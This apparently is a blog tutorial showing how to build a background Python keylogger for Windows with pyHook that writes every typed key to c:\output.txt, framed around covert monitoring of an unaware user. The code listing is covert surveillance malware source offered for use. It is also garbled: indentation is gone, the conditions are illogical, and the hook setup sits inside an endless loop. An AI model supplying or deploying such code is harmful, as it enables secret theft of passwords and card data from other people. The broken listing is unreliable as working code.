How to create a keylogger that runs in background using python

Follow by Email

In this tutorial we are going to help you create a simple python keylogger by using simple programming techniques .

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys struck on a keyboard, typically covertly, so that the person using the keyboard is unaware that their actions are being monitored. Keylogging can also be used to study human–computer interaction. Numerous keylogging methods exist: they range from hardware and software-based approaches to acoustic analysis.

STEP 1: From the start menu select,” Python 2.7 > IDLE(Python GUI)”


STEP 2:  Click “File > New window”


STEP 3: Now type the below code in Python window  as shown in fig.,

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5: 
if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 


STEP 4 :Save the file in C:\ as and click  RUN( CTRL + R: the keylogger will come started in the background and will run until the log file “C: \ output.txt” anything that will typed on the keyboard. )


These are computer programs designed to work on the target computer’s software. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without their users’ direct knowledge. However, malicious individuals can use keyloggers on public computers to steal passwords or credit card information.

Take your time to comment on this article.




Follow by Email


  1. Fabrizio Ojeda 2016-11-11 Reply
    • 700brains 2017-01-29 Reply
  2. Paula 2016-11-11 Reply
  3. Chris 2016-11-11 Reply
  4. Felipe - Selecione - Rando 2016-11-11 Reply
  5. Arpit Pathak 2016-11-14 Reply
  6. Joe Mama 2017-01-29 Reply
  7. Michael 2017-02-03 Reply
  8. Ben 2017-02-19 Reply
    • Ben 2017-02-19 Reply
    • Skitzik 2018-04-02 Reply
  9. tester 2017-02-20 Reply
    • tester1 2017-02-26 Reply
  10. Agung prawira 2017-02-20 Reply
  11. l08OX 2017-03-02 Reply
  12. UrbanRebel 2017-03-13 Reply
  13. Tester 2017-03-14 Reply
    • Skitzik 2018-04-02 Reply
  14. Tester 2017-07-05 Reply
  15. Mike 2017-07-11 Reply
  16. Thijun 2017-07-20 Reply
  17. Daniel 2017-08-20 Reply
  18. gaurang 2018-01-09 Reply
  19. Skitzik 2018-04-02 Reply

Add a Comment

Your email address will not be published. Required fields are marked *

Like the article? please consider sharing it. Thank you

Advertisment ad adsense adlogger